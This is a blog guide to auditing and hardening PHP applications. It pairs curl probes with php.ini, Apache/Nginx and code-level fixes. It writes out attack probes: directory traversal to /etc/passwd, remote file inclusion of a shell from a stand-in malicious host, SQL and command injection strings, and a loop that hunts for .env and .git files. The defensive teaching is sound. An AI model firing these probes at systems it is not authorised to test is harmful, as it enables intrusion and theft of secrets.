🛡️ Hardening and Recon in PHP Applications with cURL: From Error to Mitigation
This guide consolidates a practical methodology for auditing and protecting PHP applications. The focus is low-level recon using curl to validate the attack surface and implementing countermeasures that increase infrastructure resilience.
During validation, I keep a strict operational sequence: first confirm real exposure at the endpoint, then apply mitigation across runtime (php.ini), web server (Apache/Nginx), and application code. Without this sequence, teams often patch one layer and leave another vector open.
---
1. Initial Recon: Stack Exposure and Fingerprinting
An attacker starts by identifying what is responding. HTTP headers are your server's business card.
curl -I https://domain.com
Critical exposure indicators:
X-Powered-By: PHP/7.4.3(Exact PHP version disclosure).Server: Apache/2.4.52 (Ubuntu)(Web server and OS disclosure).
🔒 Senior-Level Mitigation
Do not only obfuscate; silence the output.
- In
php.ini:
expose_php = Off
display_errors = Off
- In Apache (
httpd.conforsecurity.conf):
ServerTokens Prod
ServerSignature Off
- In Nginx:
server_tokens off;
fastcgi_hide_header X-Powered-By;
After changes, I always validate again with curl -I to confirm hardening actually reached the HTTP edge.
---
2. LFI & RFI: File Inclusion and Directory Traversal
Inclusion vulnerabilities may allow attackers to read sensitive local files or execute remote code.
LFI Test (Local File Inclusion):
curl "https://domain.com/index.php?page=../../../../etc/passwd"
RFI Test (Remote File Inclusion):
Depends on allow_url_include = On.
curl "https://domain.com/index.php?page=http://malicious-site.com/shell.txt"
🔒 Professional Mitigation
- Strict allowlist: Never include files directly from user input.
- Runtime jail: In
php.ini, setopen_basedir = /var/www/html:/tmpto restrict filesystem access. - Disable remote include: Ensure
allow_url_include = Off.
Operationally, I treat LFI/RFI as an architectural routing flaw: if code relies on include($_GET['...']), it is critical technical debt and must be refactored to a static route/handler map.
---
3. SQL Injection (SQLi) and Prepared Statements
The classic anti-pattern of concatenating input into SQL strings is still a primary data-exfiltration vector.
# Syntax error probe
curl "https://domain.com/product.php?id=1' OR '1'='1"
🔒 Mandatory Mitigation
Using PDO with prepared statements is non-negotiable. It separates SQL commands from user data.
// Correct (secure) approach
$stmt = $pdo->prepare("SELECT name, price FROM products WHERE id = ?");
$stmt->execute([$_GET['id']]);
In production, I also verify backend error handling so SQL stack traces never leak to clients. External responses stay generic; diagnostic detail goes to internal logs.
---
4. Sensitive File and Structure Exposure
Forgotten files on webroots (backups, logs, configs) are high-value recon artifacts.
# Quick shell brute-force
for file in .env .git/config config.php.bak backup.zip phpinfo.php; do
curl -s -o /dev/null -w "%{http_code} -> $file\n" https://domain.com/$file
done
🔒 Web Server Mitigation
Block hidden files and risky extensions.
- Nginx:
location ~ /\.(ht|git|env) { deny all; }
location ~ \.(bak|config|sql|zip|tar)$ { deny all; }
- Apache:
<FilesMatch "^\.">
Require all denied
</FilesMatch>
I usually complement this with recurring CI/CD scans to prevent accidental publication of dumps, backups, and temporary artifacts under webroot.
---
5. Command Injection and File Uploads
If your application executes system calls or accepts uploads, the risk shifts to RCE (Remote Code Execution).
# Command injection probe
curl "https://domain.com/ping.php?ip=127.0.0.1;id"
🔒 Mitigation and Hardening
- Disable dangerous functions: In
php.ini, disable shell-interacting functions.
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
- Secure uploads: Store files outside public webroot and validate real MIME type, not only extension.
When upload is required by business constraints, I apply layered controls: extension + MIME + signature validation + randomized rename + AV scanning in async processing.
---
6. Session and CORS Configuration
Weak session controls enable account takeover via session hijacking.
🔒 php.ini Session Security Checklist
session.use_strict_mode = 1
session.cookie_httponly = 1 ; Prevent JavaScript access (XSS mitigation)
session.cookie_secure = 1 ; Send cookie over HTTPS only
session.cookie_samesite = "Lax" ; CSRF protection baseline
For critical applications, I also review session TTL and session ID rotation policy after authentication and privilege elevation.
---
7. Directory Auditing
Prevent directory listing when there is no index.php.
- Apache:
Options -Indexes - Nginx:
autoindex off;
This simple control prevents silent leakage of internal structure, artifact names, and version clues.
---
🏁 Strategic Conclusion
PHP security is not a one-time task. It is an operational discipline. As you accurately pointed out, Percio, curl is an excellent tool for fast security auditing.
When low-level recon is combined with runtime, server, and code hardening, the attack window drops sharply and the environment becomes predictable, auditable, and resilient.
This post is licensed under CC BY-NC.
Comments
Join the discussion below.
Comments are not configured yet. Add Cusdis settings in /assets/json/config/blog-comments-config.json.